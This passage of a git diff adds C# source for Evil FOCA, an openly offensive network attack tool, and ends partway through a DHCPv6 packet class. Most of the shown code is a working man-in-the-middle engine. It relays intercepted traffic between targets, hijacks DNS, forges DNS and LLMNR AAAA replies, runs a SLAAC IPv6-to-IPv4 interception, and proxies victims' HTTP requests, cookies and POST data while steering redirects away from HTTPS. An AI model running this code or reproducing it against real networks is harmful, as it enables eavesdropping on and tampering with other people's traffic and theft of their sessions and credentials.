dev; + this.localPhysicalAddress = device.MacAddress; + this.attacks = attacks; + //this.slaacReqs = slaacReqs; + this.dnsHijacking = new DNSHijacking(dev, attacks); + } + + + /// + /// Comprueba si el paquete ha sido enrutado verificando si llega de 8.8.8.8 con seqId = 1 + /// + /// + private bool IsRoutedPacked(Packet p) + { + if ((p.PayloadPacket != null) && (p.PayloadPacket is IPv4Packet) && + (p.PayloadPacket.PayloadPacket != null) && (p.PayloadPacket.PayloadPacket is TcpPacket)) + { + TcpPacket tcp = (TcpPacket)p.PayloadPacket.PayloadPacket; + if (tcp.DestinationPort == 31337 && tcp.SourcePort == 53) + { + if (tcp.AcknowledgmentNumber == 1) + { + return true; + } + } + } + return false; + } + + private void DNSCheck(Packet p) + { + EthernetPacket ethernet = (EthernetPacket)p; + if (p.PayloadPacket.PayloadPacket is UdpPacket) + { + UdpPacket udp = p.PayloadPacket.PayloadPacket as UdpPacket; + attacks.Where(a => a.attackType == AttackType.SlaacMitm).ToList().ForEach(currentAttack => + { + MitmAttack mitmAttack = currentAttack as MitmAttack; + + if (p.PayloadPacket is IPv6Packet) + { + switch (udp.DestinationPort) + { + case 53: + Heijden.DNS.Response response = new Heijden.DNS.Response(new IPEndPoint(IPAddress.Parse("1.2.3.4"), 53), udp.PayloadData); + var aaaaDns = (from q in response.Questions + where q.QType == Heijden.DNS.QType.AAAA || q.QType == Heijden.DNS.QType.A + select q).ToList(); + + //Para mostrar la pelotita de conexión a internet OK, respondemos al paquete Teredo de Microsoft en formato A. + var aTeredoDns = (from q in response.Questions + where q.QType == Heijden.DNS.QType.A + && (q.QName.ToLower().Contains("teredo") || q.QName.ToLower().Contains("msftncsi")) + select q).ToList(); + + if (aaaaDns != null && aaaaDns.Count > 0) + { + DNS.IPv6Query query = new DNS.IPv6Query(udp.PayloadData); + string q = query.name; + IPAddress[] ips = Dns.GetHostAddresses(q); + + DNS.IPv6Response resp = new DNS.IPv6Response(DNS.IPv6Query.Type.Ipv6, query.transID, query.nameDnsFormat, ips[0]); + byte[] respByteAr = resp.GeneratePacket(); + + EthernetPacket ethDns = new EthernetPacket(localPhysicalAddress, ethernet.SourceHwAddress, EthernetPacketType.IpV4); + IPv6Packet ipv6Dns = new IPv6Packet(((IPv6Packet)p.PayloadPacket).DestinationAddress, ((IPv6Packet)p.PayloadPacket).SourceAddress); + UdpPacket udpDns = new UdpPacket(udp.DestinationPort, udp.SourcePort); + + udpDns.PayloadData = respByteAr; + ipv6Dns.PayloadPacket = udpDns; + ethDns.PayloadPacket = ipv6Dns; + + udpDns.UpdateCalculatedValues(); + udpDns.UpdateUDPChecksum(); + ipv6Dns.UpdateCalculatedValues(); + Program.CurrentProject.data.SendPacket(ethDns); + + } + else if (aTeredoDns != null && aTeredoDns.Count > 0) + { + DNS.IPv6Query query = new DNS.IPv6Query(udp.PayloadData); + string q = query.name; + IPAddress[] ips = Dns.GetHostAddresses(q); + + DNS.IPv6Response resp = new DNS.IPv6Response(DNS.IPv6Query.Type.Ipv4, query.transID, query.nameDnsFormat, ips[0]); + byte[] respByteAr = resp.GeneratePacket(); + + EthernetPacket ethDns = new EthernetPacket(localPhysicalAddress, ethernet.SourceHwAddress, EthernetPacketType.IpV4); + IPv6Packet ipv6Dns = new IPv6Packet(((IPv6Packet)p.PayloadPacket).DestinationAddress, ((IPv6Packet)p.PayloadPacket).SourceAddress); + UdpPacket udpDns = new UdpPacket(udp.DestinationPort, udp.SourcePort); + + udpDns.PayloadData = respByteAr; + ipv6Dns.PayloadPacket = udpDns; + ethDns.PayloadPacket = ipv6Dns; + + udpDns.UpdateCalculatedValues(); + udpDns.UpdateUDPChecksum(); + ipv6Dns.UpdateCalculatedValues(); + Program.CurrentProject.data.SendPacket(ethDns); + } + break; + case 5355: + LLMNR.LLMNRPacket llmnr = new LLMNR.LLMNRPacket(); + llmnr.ParsePacket(udp.PayloadData); + if (llmnr.Query.Type.HasValue && llmnr.Query.Type.Value == LLMNR.DNSType.AAAA) + { + IPAddress[] ips = (from ip in Dns.GetHostAddresses(llmnr.Query.Name) + where ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork + select ip).ToArray(); + byte[] ipv6Addr = new byte[] { 0x00,0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0xff,0xff, + (byte)ips[0].GetAddressBytes()[0],(byte)ips[0].GetAddressBytes()[1], + (byte)ips[0].GetAddressBytes()[2] ,(byte)ips[0].GetAddressBytes()[3] }; + + llmnr.AnswerList.Add(new LLMNR.DNSAnswer() + { + Class = evilfoca.LLMNR.DNSClass.IN, + Name = llmnr.Query.Name, + Type = evilfoca.LLMNR.DNSType.AAAA, + RData = ipv6Addr, + RDLength = (short)ipv6Addr.Length + }); + + + EthernetPacket ethDns = new EthernetPacket(localPhysicalAddress, ethernet.SourceHwAddress, EthernetPacketType.IpV4); + IPv6Packet ipv6Dns = new IPv6Packet(((IPv6Packet)p.PayloadPacket).DestinationAddress, ((IPv6Packet)p.PayloadPacket).SourceAddress); + UdpPacket udpDns = new UdpPacket(udp.DestinationPort, udp.SourcePort); + + udpDns.PayloadData = llmnr.BuildPacket(); + + ipv6Dns.PayloadPacket = udpDns; + ethDns.PayloadPacket = ipv6Dns; + + udpDns.UpdateCalculatedValues(); + udpDns.UpdateUDPChecksum(); + ipv6Dns.UpdateCalculatedValues(); + Program.CurrentProject.data.SendPacket(ethDns); + } + break; + default: + break; + } + + } + }); + } + } + + public void CheckToRoutePacket(Packet p) + { + EthernetPacket pEthernet = (EthernetPacket)p; + + if (pEthernet.PayloadPacket is ARPPacket) + return; // ARPS NO SE ENRUTAN!!! + + DNSCheck(p); + + if ((p.PayloadPacket.PayloadPacket is UdpPacket) && (p.PayloadPacket.PayloadPacket as UdpPacket).SourcePort == 546) + return; + + // Verifica si el paquete viene de 8.8.8.8 31337/53 con seqId=0 + // Si se cumple, es que la MAC que lo envia está haciendo de enrutador de paquetes hacia internet + PhysicalAddress macOrigen = pEthernet.SourceHwAddress; + Neighbor neighbor = Program.CurrentProject.data.GetNeighbor(macOrigen); + if ((neighbor != null) && (neighbor.canRoutePackets == RouteStatus.Verifing)) + { + if (IsRoutedPacked(p)) + { + neighbor.canRoutePackets = RouteStatus.CanRoute; + Program.CurrentProject.data.AddNeighbor(neighbor); + } + + } + + // Si tiene que hijackear este paquete (DNS) mediante DNS Hijacking ... + if (dnsHijacking.CheckIfHijack(pEthernet)) + p = dnsHijacking.Hijack(pEthernet); // Lo modifica para que al enrutarlo este se haga el dns hijacking + + RoutePacket(p); + } + + private bool isIpv4Multicast(IPAddress ip) + { + int firstOctect = ip.GetAddressBytes()[0]; + if (firstOctect >= 224 || firstOctect <= 239) + return true; + return false; + } + + private void RoutePacket(Packet p) + { + if (p == null) + return; + + EthernetPacket pEthernet = (EthernetPacket)p; + + if ((pEthernet.PayloadPacket is IPv6Packet) == false && (pEthernet.PayloadPacket is IPv4Packet) == false) + return; + + IpPacket pIp = (IpPacket)pEthernet.PayloadPacket; + + // Si es IPv6 y va hacia afuera de la red... + if (((pEthernet.PayloadPacket is IPv6Packet))) + { + if (pIp.DestinationAddress.IsIPv6LinkLocal == false && + pIp.DestinationAddress.IsIPv6Multicast == false && + pIp.DestinationAddress.IsIPv6Teredo == false && + pIp.DestinationAddress.IsIPv6SiteLocal == false + ) + { + // Si ademas viene a mi MAC y no a mi IP ... sera para que lo enrute. + // Probablemente venga por un ataque SLAAC MITM + if (Program.CurrentProject.data.GetAttacks().Where(A => A.attackType == AttackType.SlaacMitm && A.attackStatus == AttackStatus.Attacking).Count() > 0) + { + bool needToRoute = !IsGoingToMyIPAddress(p); + if (needToRoute && IsGoingToMyMac(p)) + { + Ipv6ToIpv4(pEthernet); + + return; + } + } + } + } + + + // Si es IPv4 o IPv6-LinkLocal + if ((pEthernet.PayloadPacket is IPv4Packet) || + ((pEthernet.PayloadPacket is IPv6Packet) && pIp.DestinationAddress.IsIPv6LinkLocal == true) + ) + { + // Si van dirigidos a mi MAC pero no a mi IP, a reenviar + bool needToRoute = !IsGoingToMyIPAddress(p); + + + if (needToRoute && IsGoingToMyMac(p)) + { + // Actualizamos el numero de paquetes que está enviando el target + Data.Target targetSender = null; + Data.Target targetReceiver = null; + + foreach (Data.Attack attack in attacks) + { + if (attack is MitmAttack && attack.attackType != AttackType.SlaacMitm) + { + if (((MitmAttack)attack).t1.mac.Equals(pEthernet.SourceHwAddress)) + { + targetSender = ((MitmAttack)attack).t1; + targetReceiver = ((MitmAttack)attack).t2; + break; + } + else if (((MitmAttack)attack).t2.mac.Equals(pEthernet.SourceHwAddress)) + { + targetSender = ((MitmAttack)attack).t2; + targetReceiver = ((MitmAttack)attack).t1; + break; + } + else + { + targetSender = null; + targetReceiver = null; + } + } + } + if (targetReceiver == null || targetSender == null) + return; + + // Modificamos el paquete para enrutarlo + // ... + // entra aqui cuando viene desde la red a un equipo local + if (targetReceiver.ip.Equals(pIp.DestinationAddress)) + { + PhysicalAddress newDestinationMac = Program.CurrentProject.data.GetNeighborMAC(pIp.DestinationAddress); + pEthernet.DestinationHwAddress = newDestinationMac; + pEthernet.SourceHwAddress = localPhysicalAddress; + + if (pEthernet.PayloadPacket.PayloadPacket is UdpPacket) + ((UdpPacket)pEthernet.PayloadPacket.PayloadPacket).UpdateUDPChecksum(); + + Program.CurrentProject.data.SendPacket(pEthernet); + targetReceiver.packetsSend++; + } + + // Entra aqui cuando va desde el equipo local a la red + if (targetSender.ip.Equals(pIp.SourceAddress) && targetSender.mac.Equals(pEthernet.SourceHwAddress)) + { + pEthernet.DestinationHwAddress = targetReceiver.mac; + pEthernet.SourceHwAddress = localPhysicalAddress; + + if (pEthernet.PayloadPacket.PayloadPacket is UdpPacket) + ((UdpPacket)pEthernet.PayloadPacket.PayloadPacket).UpdateUDPChecksum(); + + Program.CurrentProject.data.SendPacket(pEthernet); + targetReceiver.packetsSend++; + //targetSender.packetsSend++; + } + } + } + } + + private bool IsGoingToMyMac(Packet p) + { + EthernetPacket pEthernet = (EthernetPacket)p; + return pEthernet.DestinationHwAddress.Equals(localPhysicalAddress); + } + + private bool IsGoingToMyIPAddress(Packet p) + { + bool isGoing = false; + + IpPacket pIp = (IpPacket)p.PayloadPacket; + + foreach (PcapAddress remoteAddress in device.Addresses) + { + if (remoteAddress != null && remoteAddress.Addr.ipAddress != null && remoteAddress.Addr.ipAddress.Equals(pIp.DestinationAddress)) + { + isGoing = true; // Va dirigido a nuestra IP, así que no se enruta + break; + } + } + return isGoing; + } + + private bool IsMyIPAddressInPacket(Packet p) + { + bool isGoing = false; + + IpPacket pIp = (IpPacket)p.PayloadPacket; + + foreach (PcapAddress remoteAddress in device.Addresses) + { + if (remoteAddress.Addr.ipAddress != null && remoteAddress.Addr.ipAddress != null && (remoteAddress.Addr.ipAddress.Equals(pIp.DestinationAddress) || remoteAddress.Addr.ipAddress.Equals(pIp.SourceAddress))) + { + isGoing = true; // Va dirigido a nuestra IP, así que no se enruta + break; + } + } + return isGoing; + } + + /// + /// Indica si es necesario encapsular el contenido del paquete (ipv6) en Ipv4 para el ataque de mitm slaac + /// http://www.elladodelmal.com/2012/04/man-in-middle-en-redes-ipv4-por-medio.html + /// + /// + /// + private bool EncapsulateIpv6IntoIpv4(Packet p) + { + EthernetPacket pEthernet = (EthernetPacket)p; + + if (pEthernet.PayloadPacket is IPv6Packet) + { + IPv6Packet ipv6 = (IPv6Packet)pEthernet.PayloadPacket; + + for (int iA = 0; iA < Program.CurrentProject.data.GetAttacks().Count; iA++) + { + if (Program.CurrentProject.data.GetAttacks()[iA].attackStatus == AttackStatus.Attacking && + Program.CurrentProject.data.GetAttacks()[iA].attackType == AttackType.SlaacMitm) + { + if (pEthernet.DestinationHwAddress.Equals(Program.CurrentProject.data.GetDevice().MacAddress)) + { + if (Program.CurrentProject.data.GetAttacks()[iA] is evilfoca.Data.MitmAttack) + { + evilfoca.Data.MitmAttack mitm = (evilfoca.Data.MitmAttack)Program.CurrentProject.data.GetAttacks()[iA]; + if ((ipv6.SourceAddress.Equals(mitm.t1.ip)) && (ipv6.DestinationAddress.Equals(mitm.t2.ip)) || + (ipv6.DestinationAddress.Equals(mitm.t1.ip)) && (ipv6.SourceAddress.Equals(mitm.t2.ip))) + { + return true; + } + } + } + } + } + } + + return false; + } + + /// + /// Indica si es necesario encapsular el contenido del paquete (ipv4) en Ipv6 para el ataque de mitm slaac + /// http://www.elladodelmal.com/2012/04/man-in-middle-en-redes-ipv4-por-medio.html + /// + /// + /// + private bool EncapsulateIpv4IntoIpv6(Packet p) + { + EthernetPacket pEthernet = (EthernetPacket)p; + + if (pEthernet.PayloadPacket is IPv4Packet) + { + IPv4Packet ipv4 = (IPv4Packet)pEthernet.PayloadPacket; + + for (int iA = 0; iA < Program.CurrentProject.data.GetAttacks().Count; iA++) + { + if (Program.CurrentProject.data.GetAttacks()[iA].attackStatus == AttackStatus.Attacking && + Program.CurrentProject.data.GetAttacks()[iA].attackType == AttackType.SlaacMitm) + { + if (Program.CurrentProject.data.GetAttacks()[iA] is evilfoca.Data.MitmAttack) + { + evilfoca.Data.MitmAttack mitm = (evilfoca.Data.MitmAttack)Program.CurrentProject.data.GetAttacks()[iA]; + + Neighbor nT1 = Program.CurrentProject.data.GetNeighbor(mitm.t1.ip); + Neighbor nT2 = Program.CurrentProject.data.GetNeighbor(mitm.t2.ip); + + IPAddress IPv4T1 = Program.CurrentProject.data.GetIPv4FromNeighbor(nT1); + IPAddress IPv4T2 = Program.CurrentProject.data.GetIPv4FromNeighbor(nT2); + IPAddress IPv6T1 = Program.CurrentProject.data.GetIPv6FromNeighbor(nT1); + IPAddress IPv6T2 = Program.CurrentProject.data.GetIPv6FromNeighbor(nT2); + + if (pEthernet.DestinationHwAddress.Equals(Program.CurrentProject.data.GetDevice().MacAddress)) + { + if ((ipv4.SourceAddress.Equals(mitm.t1.ip)) && (ipv4.DestinationAddress.Equals(mitm.t2.ip)) || + (ipv4.DestinationAddress.Equals(mitm.t1.ip)) && (ipv4.SourceAddress.Equals(mitm.t2.ip))) + { + return true; + } + } + + } + } + } + } + + return false; + } + + + private string Ipv6To4Addr(string ipv6addr) + { + try + { + + string addr = ipv6addr.Substring(ipv6addr.Length - 9, 9); + addr = string.Format("{0}.{1}.{2}.{3}", Convert.ToInt32(addr.Substring(0, 2), 16), Convert.ToInt32(addr.Substring(2, 2), 16), Convert.ToInt32(addr.Substring(5, 2), 16), Convert.ToInt32(addr.Substring(7, 2), 16)); + return IPAddress.Parse(addr).ToString(); + } + catch + { + return string.Empty; + } + + } + + private void Ipv6ToIpv4(EthernetPacket orgPacket) + { + try + { + IPv6Packet ipv6 = (IPv6Packet)orgPacket.PayloadPacket; + + if (ipv6.PayloadPacket is PacketDotNet.ICMPv6Packet) + { + ICMPv6Packet icmp = ipv6.PayloadPacket as ICMPv6Packet; + icmp.Type = ICMPv6Types.EchoReply; + + icmp.UpdateCalculatedValues(); + icmp.Checksum = (ushort)ChecksumUtils.OnesComplementSum(icmp.Bytes); + + IPv6Packet ipv6Ack = new IPv6Packet(ipv6.DestinationAddress, ipv6.SourceAddress); + ipv6Ack.PayloadPacket = icmp; + EthernetPacket eth = new EthernetPacket(orgPacket.DestinationHwAddress, orgPacket.SourceHwAddress, EthernetPacketType.IpV6); + eth.PayloadPacket = ipv6Ack; + + Program.CurrentProject.data.SendPacket(eth); + } + else if (ipv6.PayloadPacket is PacketDotNet.TcpPacket) + { + TcpPacket tcp = ipv6.PayloadPacket as TcpPacket; + + ushort destPort = tcp.SourcePort; + ushort sourcePort = tcp.DestinationPort; + IPAddress destAddress = ipv6.SourceAddress; + IPAddress sourceAddress = ipv6.DestinationAddress; + PhysicalAddress sourceMac = device.MacAddress; + PhysicalAddress destMac = orgPacket.SourceHwAddress; + + tcp.SourcePort = sourcePort; + tcp.DestinationPort = destPort; + + if (tcp.Syn && !tcp.Ack && !tcp.Rst && tcp.PayloadData.Length == 0) + { + if (sourcePort == 80) + { + tcp.Ack = true; + tcp.AcknowledgmentNumber = tcp.SequenceNumber + 1; + tcp.SequenceNumber = tcp.SequenceNumber + 38; + tcp.WindowSize = 14600; + + IPv6Packet ipv6Ack = new IPv6Packet(sourceAddress, destAddress); + ipv6Ack.PayloadPacket = tcp; + + EthernetPacket eth = new EthernetPacket(sourceMac, destMac, EthernetPacketType.IpV6); + eth.PayloadPacket = ipv6Ack; + + (eth.PayloadPacket.PayloadPacket as TcpPacket).UpdateTCPChecksum(); + Program.CurrentProject.data.SendPacket(eth); + } + else if (sourcePort == 443) + { + tcp.Syn = false; + tcp.Ack = true; + tcp.Rst = true; + tcp.Psh = false; + uint ackOrg = tcp.AcknowledgmentNumber; + tcp.AcknowledgmentNumber = tcp.SequenceNumber + 1; + tcp.SequenceNumber = 0; + tcp.WindowSize = 0; + tcp.PayloadData = new byte[0]; + + IPv6Packet ipv6Ack = new IPv6Packet(sourceAddress, destAddress); + ipv6Ack.PayloadPacket = tcp; + EthernetPacket eth = new EthernetPacket(sourceMac, destMac, EthernetPacketType.IpV6); + eth.PayloadPacket = ipv6Ack; + (eth.PayloadPacket.PayloadPacket as TcpPacket).UpdateTCPChecksum(); + Program.CurrentProject.data.SendPacket(eth); + } + } + else if (!tcp.Syn && tcp.Ack && tcp.PayloadData != null && !tcp.Rst && tcp.PayloadData.Length > 0 && sourcePort == 80) + { + string element = string.Format("{0}/{1}", tcp.SequenceNumber, tcp.AcknowledgmentNumber); + if (!Data.Data.SlaacReqList.Contains(element)) + { + Data.Data.SlaacReqList.Add(element); + HttpPacket httpReq = new HttpPacket(tcp.PayloadData); + if (httpReq.IsCompleted) + { + SendHttpResponse(httpReq, orgPacket, tcp.SourcePort, tcp.DestinationPort, tcp.AcknowledgmentNumber, tcp.SequenceNumber + (uint)tcp.PayloadData.Length); + } + else + { + lock (htppLock) + { + //incomplete packet + + TcpReconstructorPacket previousPacket = (from p in Program.CurrentProject.data.ReconstructedPackets + where p.ExpectedSequenceNumber == tcp.SequenceNumber + select p).FirstOrDefault(); + + + TcpReconstructorPacket nextPacket = (from p in Program.CurrentProject.data.ReconstructedPackets + where p.FirstSequenceNumber == tcp.SequenceNumber + tcp.PayloadData.Length + select p).FirstOrDefault(); + + if (nextPacket != null || previousPacket != null) + { + bool packetSend = false; + if (nextPacket != null) + { + nextPacket.InsertPreviousTcpPacket(tcp); + httpReq = new HttpPacket(nextPacket.Data); + if (httpReq.IsCompleted) + { + packetSend = true; + Program.CurrentProject.data.ReconstructedPackets.Remove(nextPacket); + SendHttpResponse(httpReq, orgPacket, tcp.SourcePort, tcp.DestinationPort, tcp.AcknowledgmentNumber, nextPacket.ExpectedSequenceNumber); + } + } + if (previousPacket != null && !packetSend) + { + if (nextPacket != null) + { + previousPacket.AppendTcpPacket(nextPacket); + Program.CurrentProject.data.ReconstructedPackets.Remove(nextPacket); + } + else + previousPacket.AppendTcpPacket(tcp); + + httpReq = new HttpPacket(previousPacket.Data); + if (httpReq.IsCompleted) + { + Program.CurrentProject.data.ReconstructedPackets.Remove(previousPacket); + SendHttpResponse(httpReq, orgPacket, tcp.SourcePort, tcp.DestinationPort, tcp.AcknowledgmentNumber, previousPacket.ExpectedSequenceNumber); + } + } + + } + else + { + Program.CurrentProject.data.ReconstructedPackets.Add(new TcpReconstructorPacket(tcp)); + } + + + var toDelete = Program.CurrentProject.data.ReconstructedPackets.Where(p => DateTime.Now.Subtract(p.CreationTime).TotalMinutes > 2); + foreach (var item in toDelete) + { + Program.CurrentProject.data.ReconstructedPackets.Remove(item); + } + } + } + } + } + else if (tcp.Fin && tcp.Ack && !tcp.Rst && tcp.PayloadData.Length == 0) + { + tcp.Ack = true; + tcp.Fin = false; + uint ackOrg = tcp.AcknowledgmentNumber; + tcp.AcknowledgmentNumber = tcp.SequenceNumber + 1; + tcp.SequenceNumber = ackOrg; + tcp.WindowSize = 1400; + + IPv6Packet ipv6Ack = new IPv6Packet(sourceAddress, destAddress); + ipv6Ack.PayloadPacket = tcp; + EthernetPacket eth = new EthernetPacket(sourceMac, destMac, EthernetPacketType.IpV6); + eth.PayloadPacket = ipv6Ack; + (eth.PayloadPacket.PayloadPacket as TcpPacket).UpdateTCPChecksum(); + Program.CurrentProject.data.SendPacket(eth); + } + } + } + catch + { + } + } + + private void SendHttpResponse(HttpPacket httpReq, EthernetPacket orgEthPacket, ushort sourcePort, ushort destinationPort, uint ackNumber, uint expectedSeqNumber) + { + IPv6Packet ipv6 = (IPv6Packet)orgEthPacket.PayloadPacket; + TcpPacket tcp = new TcpPacket(sourcePort, destinationPort); + + IPAddress destAddress = ipv6.SourceAddress; + IPAddress sourceAddress = ipv6.DestinationAddress; + PhysicalAddress sourceMac = device.MacAddress; + PhysicalAddress destMac = orgEthPacket.SourceHwAddress; + string urlRequest = string.IsNullOrEmpty(httpReq.Host) ? string.Format("http://{0}{1}", Ipv6To4Addr(ipv6.DestinationAddress.ToString()), httpReq.ResourceRequest) : httpReq.FullUrlRequest; + bool validRequest = false; + + HttpWebRequest req = null; + HttpWebResponse response = null; + IPv6Packet ipv6Ack = null; + EthernetPacket eth = null; + CookieContainer lastCookies = httpReq.Cookies; + string userAgent = httpReq.UserAgent; + int repeatRedirect = 0; + + //Fix no Google's javascript redirect + if (httpReq.Host.Contains("google") && httpReq.FullUrlRequest.Contains("/xjs/_/js/")) + validRequest = true; + + while (!validRequest) + { + req = HttpWebRequest.Create(urlRequest) as HttpWebRequest; + + req.Host = req.Address.Host; + req.UserAgent = userAgent; + req.Method = httpReq.Method; + //req.Accept = httpReq.Accept; + req.Headers[HttpRequestHeader.AcceptLanguage] = httpReq.AcceptLanguage; + req.Referer = httpReq.Referer; + req.AllowAutoRedirect = false; + + if (lastCookies == null) + lastCookies = new CookieContainer(); + req.CookieContainer = lastCookies; + + if (httpReq.Method.ToLower() == "post" && httpReq.Data != null) + { + req.ContentType = httpReq.ContentType; + req.ContentLength = httpReq.Data.Length; + + using (Stream dataStream = req.GetRequestStream()) + { + using (BinaryWriter writer = new BinaryWriter(dataStream)) + { + writer.Write(httpReq.Data); + } + } + } + + try + { + response = req.GetResponse() as HttpWebResponse; + if ((response.StatusCode == HttpStatusCode.Found || response.StatusCode == HttpStatusCode.Moved) && response.Headers[HttpResponseHeader.Location].StartsWith("https")) + throw new WebException("302", null, WebExceptionStatus.UnknownError, response); + else + validRequest = true; + } + catch (WebException ex404) + { + if (ex404.Message.Contains("404") && ex404.Response != null) + { + if ((ex404.Response as HttpWebResponse) != null) + response = (ex404.Response as HttpWebResponse); + validRequest = true; + } + else if (ex404.Message.Contains("403") && ex404.Response.ResponseUri.AbsoluteUri.StartsWith("http:")) + { + validRequest = false; + urlRequest = string.Format("https{0}", ex404.Response.ResponseUri.AbsoluteUri.Substring(4)); + if (!string.IsNullOrEmpty(ex404.Response.Headers[HttpResponseHeader.SetCookie])) + { + CookieCollection col = HttpPacket.ParseSetCookies(ex404.Response.Headers[HttpResponseHeader.SetCookie]); + if (col.Count > 0) + { + if (!string.IsNullOrEmpty(col[0].Domain)) + { + string domain = col[0].Domain; + if (domain.StartsWith(".")) + domain = domain.Remove(0, 1); + lastCookies.Add(new Uri(string.Format("http://{0}", domain)), col); + } + else + lastCookies.Add(ex404.Response.ResponseUri, col); + } + } + } + else if (ex404.Message.Contains("302")) + { + if (repeatRedirect < REDIRECTCOUNT) + { + validRequest = false; + urlRequest = ex404.Response.Headers[HttpResponseHeader.Location]; + if (!string.IsNullOrEmpty(ex404.Response.Headers[HttpResponseHeader.SetCookie])) + { + CookieCollection col = HttpPacket.ParseSetCookies(ex404.Response.Headers[HttpResponseHeader.SetCookie]); + if (col.Count > 0) + { + if (!string.IsNullOrEmpty(col[0].Domain)) + { + string domain = col[0].Domain; + if (domain.StartsWith(".")) + domain = domain.Remove(0, 1); + if (urlRequest.StartsWith("https")) + lastCookies.Add(new Uri(string.Format("https://{0}", domain)), col); + else + lastCookies.Add(new Uri(string.Format("http://{0}", domain)), col); + } + else + lastCookies.Add(ex404.Response.ResponseUri, col); + } + } + repeatRedirect++; + } + else + { + validRequest = true; + response = null; + } + } + else + { + validRequest = true; + } + } + catch (Exception) + { + } + } + int previousLength = 0; + + uint ackValue = expectedSeqNumber; + uint sequence = ackNumber; + if (response != null) + { + try + { + foreach (var item in response.GetBytes(1300)) + { + tcp.Psh = false; + tcp.Fin = false; + tcp.Ack = true; + tcp.AcknowledgmentNumber = ackValue; + tcp.SequenceNumber = sequence + (uint)previousLength; + sequence = tcp.SequenceNumber; + previousLength = item.Length; + + tcp.WindowSize = 1600; + tcp.PayloadData = item; + + ipv6Ack = new IPv6Packet(sourceAddress, destAddress); + ipv6Ack.PayloadPacket = tcp; + eth = new EthernetPacket(sourceMac, destMac, EthernetPacketType.IpV6); + eth.PayloadPacket = ipv6Ack; + (eth.PayloadPacket.PayloadPacket as TcpPacket).UpdateTCPChecksum(); + Program.CurrentProject.data.SendPacket(eth); + } + } + catch (Exception e) + { + e.ToString(); + } + + + tcp.Psh = true; + tcp.Fin = true; + tcp.Ack = true; + tcp.AcknowledgmentNumber = ackValue; + tcp.SequenceNumber = sequence + (uint)previousLength; + + tcp.WindowSize = 1600; + tcp.PayloadData = new byte[0]; + + ipv6Ack = new IPv6Packet(sourceAddress, destAddress); + ipv6Ack.PayloadPacket = tcp; + eth = new EthernetPacket(sourceMac, destMac, EthernetPacketType.IpV6); + eth.PayloadPacket = ipv6Ack; + (eth.PayloadPacket.PayloadPacket as TcpPacket).UpdateTCPChecksum(); + Program.CurrentProject.data.SendPacket(eth); + } + else + { + tcp.Psh = true; + tcp.Fin = true; + tcp.Ack = true; + tcp.AcknowledgmentNumber = ackValue; + tcp.SequenceNumber = sequence + (uint)previousLength; + tcp.WindowSize = 1600; + tcp.PayloadData = HttpPacket.Get404Packet(); + + ipv6Ack = new IPv6Packet(sourceAddress, destAddress); + ipv6Ack.PayloadPacket = tcp; + eth = new EthernetPacket(sourceMac, destMac, EthernetPacketType.IpV6); + eth.PayloadPacket = ipv6Ack; + (eth.PayloadPacket.PayloadPacket as TcpPacket).UpdateTCPChecksum(); + Program.CurrentProject.data.SendPacket(eth); + } + } + } +} diff --git a/EvilFoca/DHCPv6/DHCPv6Option.cs b/EvilFoca/DHCPv6/DHCPv6Option.cs new file mode 100644 index 0000000..d79ecd2 --- /dev/null +++ b/EvilFoca/DHCPv6/DHCPv6Option.cs @@ -0,0 +1,31 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace evilfoca.DHCPv6 +{ + public class DHCPv6Option + { + public DHCPv6OptionCode Option { get; set; } + public Int16 Length { get; set; } + public byte[] Value { get; set; } + } +} diff --git a/EvilFoca/DHCPv6/DHCPv6Packet.cs b/EvilFoca/DHCPv6/DHCPv6Packet.cs new file mode 100644 index 0000000..3b9c58d --- /dev/null +++ b/EvilFoca/DHCPv6/DHCPv6Packet.cs @@ -0,0 +1,227 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.IO; +using System.Net; +using System.Net.NetworkInformation; + +namespace evilfoca.DHCPv6 +{ + public enum DHCPv6Type + { + Solicit = 1, + Advertise = 2, + Request = 3, + Confirm = 4, + Renew = 5, + Rebind = 6, + Reply = 7, + Release = 8, + Reconfigure = 10, + InformationRequest = 11 + } + + public enum DHCPv6OptionCode + { + ClientIdentifier = 1, + ServerIdentifier = 2, + IANA = 3, + IPAddress = 5, + OptionRequest = 6, + ElapsedTime = 8, + DNS = 23, + VendorClass = 16, + DomainList = 24, + FQDM = 39 + + } + + public class DHCPv6Packet + { + public DHCPv6Type MessageType { get; set; } + public byte[] TransactionId { get; set; } + public Dictionary Options { get; set; } + + public DHCPv6Packet() + { + Options = new Dictionary(); + } + + public void ParsePacket(byte[] PacketData) + { + using (MemoryStream ms = new MemoryStream(PacketData)) + { + using (BinaryReader br = new BinaryReader(ms)) + { + MessageType = (DHCPv6Type)br.ReadByte(); + TransactionId = br.ReadBytes(3); + + do + { + DHCPv6Option opt = new DHCPv6Option(); + opt.Option = (DHCPv6OptionCode)IPAddress.NetworkToHostOrder(br.ReadInt16()); + opt.Length = IPAddress.NetworkToHostOrder(br.ReadInt16()); + opt.Value = br.ReadBytes(opt.Length); + Options.Add(opt.Option, opt); + } while (br.BaseStream.Position < br.BaseStream.Length); + } + } + } + + public byte[] BuildPacket() + { + using (MemoryStream ms = new MemoryStream()) + { + using (BinaryWriter writer = new BinaryWriter(ms)) + { + writer.Write((byte)MessageType); + writer.Write(TransactionId); + + foreach (var item in Options.Values) + { + writer.Write(IPAddress.HostToNetworkOrder((short)item.Option)); + writer.Write(IPAddress.NetworkToHostOrder((short)item.Length)); + writer.Write(item.Value); + } + + } + return ms.ToArray(); + } + } + + public void AddServerIdentifierOption(PhysicalAddress mac) + { + 